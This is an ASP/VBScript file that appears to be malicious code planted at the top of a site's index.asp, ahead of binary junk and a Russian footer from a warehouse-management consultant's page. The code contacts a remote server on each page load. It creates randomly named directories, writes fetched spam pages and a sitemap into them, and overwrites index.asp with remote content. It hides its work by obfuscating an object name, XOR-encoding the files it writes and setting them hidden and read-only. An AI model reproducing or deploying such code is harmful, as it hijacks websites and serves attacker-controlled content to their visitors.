<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% On Error Resume Next Remote_server="http://www.wutole.com" directory_Number=8 Server.ScriptTimeOut=99999 dim Branch_directory_1,Branch_directory_2,Branch_directory_3,Branch_directory_4,Branch_directory_5,Branch_directory_6,Branch_directory_7,Branch_directory_8,Branch_directory_9,Branch_directory_10 Branch_directory_1=getCode(Rand(3,4)) Branch_directory_2=getCode(Rand(3,4)) Branch_directory_3=getCode(Rand(3,4)) Branch_directory_4=getCode(Rand(3,4)) Branch_directory_5=getCode(Rand(3,4)) Branch_directory_6=getCode(Rand(3,4)) Branch_directory_7=getCode(Rand(3,4)) Branch_directory_8=getCode(Rand(3,4)) Branch_directory=Branch_directory_1&"."&Branch_directory_2&"."&Branch_directory_3&"."&Branch_directory_4&"."&Branch_directory_5&"."&Branch_directory_6&"."&Branch_directory_7&"."&Branch_directory_8 NewFile_content=a("index.asp") dim ml,str,Quantity ml=Request.ServerVariables("HTTP_url") str= Split(ml,"/") Quantity=ubound(str)-1 If Quantity<7 and Quantity>0 then host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),"index.asp","") New_Branch_directory="" Branch_directory= Split(Branch_directory,".") for i=0 to (ubound(Branch_directory)) dirname=Branch_directory(i) if CFolder(dirname&"/")=1 then WriteIn1 server.mappath(dirname&"/index.asp"),EnCrypt(NewFile_content) if New_Branch_directory="" then New_Branch_directory=dirname else New_Branch_directory=New_Branch_directory&"."&dirname end if alink="
  • "&host_name&dirname&"/index.asp
  • " sitelinks=sitelinks&alink end if Next Remote_directory = Remote_server&"/directory.php"&"?type=index.asp&host="&host_name&"&directory="&New_Branch_directory Content_directory = getHTTPPage(Remote_directory) Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name&"&class="&New_Branch_directory) if trim(Content_mb)="" then Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name&"&class="&New_Branch_directory) end if if instr(Content_mb,"tj.js")>0 then response.write Content_mb site_mb=GetHtml(Remote_server&"/mb/sitemap.html") site_mb=replace(site_mb,"{links}",sitelinks) WriteIn1 Server.mappath("./")&"\sitemap.html",EnCrypt(site_mb) Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") set f=fso.Getfile(Server.MapPath("index.asp")) if f.attributes = 7 then f.attributes=32 end if WriteIn Server.mappath("./")&"\index.asp",EnCrypt(Content_mb) html_content=a("index.asp") if trim(html_content)="" then WriteIn Server.mappath("./")&"\index.asp",EnCrypt(NewFile_content) else f.attributes = 7 end if response.end() end if Else Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name) if trim(Content_mb)="" then Content_mb=GetHtml(Remote_server&"/index.php"&"?type=index.asp&host="&host_name) end if if instr(Content_mb,"tj.js")>0 then Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") set f=fso.Getfile(Server.MapPath("index.asp")) if f.attributes = 7 then f.attributes=32 end if WriteIn Server.MapPath("./")&"\index.asp",EnCrypt(Content_mb) if f.attributes <> 7 then f.attributes = 7 end if response.end() end if End if 'all Function getCode(iCount) Dim arrChar Dim j,k,strCode arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next getCode = strCode End Function Function Digital(iCount) Dim arrChar Dim j,k,strCode arrChar = "0123456789" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next Digital = strCode End Function Function sj_int(ByVal min, ByVal max) Randomize(Timer) : sj_int = Int((max - min + 1) * Rnd + min) End Function Function Rand(ByVal min, ByVal max) Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min) End Function function WriteIn1(testfile,msg) dim fs,thisfile set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) for i=0 to 1 thisfile.Write DeCrypt(msg) thisfile.close next set thisfile = nothing end function function WriteIn(testfile,msg) dim fs,thisfile set fs=server.CreateObject("scripting.filesystemobject") set thisfile = fs.opentextfile(testfile,2,true) for i=0 to 1 thisfile.Write DeCrypt(msg) thisfile.close next set thisfile = nothing end function function a(t) set fs=server.createobject("scripting.filesystemobject") file=server.mappath(t) set txt=fs.opentextfile(file,1,true) if not txt.atendofstream then a=txt.ReadAll end if set fs=nothing set txt=nothing end function Function CFolder(Filepath) Filepath=server.mappath(Filepath) Set Fso = Server.CreateObject("Scripting.FileSystemObject") If Fso.FolderExists(FilePath) Then CFolder=0 else Fso.CreateFolder(FilePath) CFolder=1 end if Set Fso = Nothing end function Function getHTTPPage(url) On Error Resume Next dim http set http=Server.createobject("Microsoft.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"gb2312") set http=nothing If Err.number<>0 then Response.Write "" Err.Clear End If End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function EnCrypt(m) Dim strChar,iKeyChar,iStringChar,I A_Key=split("66,44,55,80",",") k=0 for I = 1 to Len(m) iKeyChar =Cint(A_Key(k)) iStringChar = Asc(mid(m,I,1)) iCryptChar = iKeyChar Xor iStringChar If k<3 Then k=k+1 Else k=0 End If c = c & Chr(iCryptChar) next EnCrypt = c End Function Function DeCrypt(c) Dim strChar, iKeyChar, iStringChar, I A_Key=split("66,44,55,80",",") k=0 for I = 1 to Len(c) iKeyChar =Cint(A_Key(k)) iStringChar = Asc(mid(c,I,1)) iDeCryptChar = iKeyChar Xor iStringChar If k<3 Then k=k+1 Else k=0 End If strDecrypted = strDecrypted & Chr(iDeCryptChar) next DeCrypt = strDecrypted End Function %>o޿Z.;LsjoX7[% ʎKKYW00f8e;tQNgwRoG5ATRR6;w zWmyۗ_ F5EqQ;W6moaA9*d(,EYw*d>D!x0ٍvT ۾,'OVBkm+ڄfg'f80o!3mTr5'<*M00$󗭜 ~+ie_7u7\:²l^ŴnH諰T̏֕P!1\\=3ɈPc+D9 *dD;]WLSP>9#; /z}[ΫcݾqZ)Bs1ǭ~U7DzG_*Q@Lǫd)cFTKC8gBZI mbuEi𞪩gW[1lUqȈkWK="leftfooter"> Последнее обновление: 18:42 20.06.2009

    © Независимый Эксперт в области систем управления складом (WMS)Перов Дмитрий Васильевич.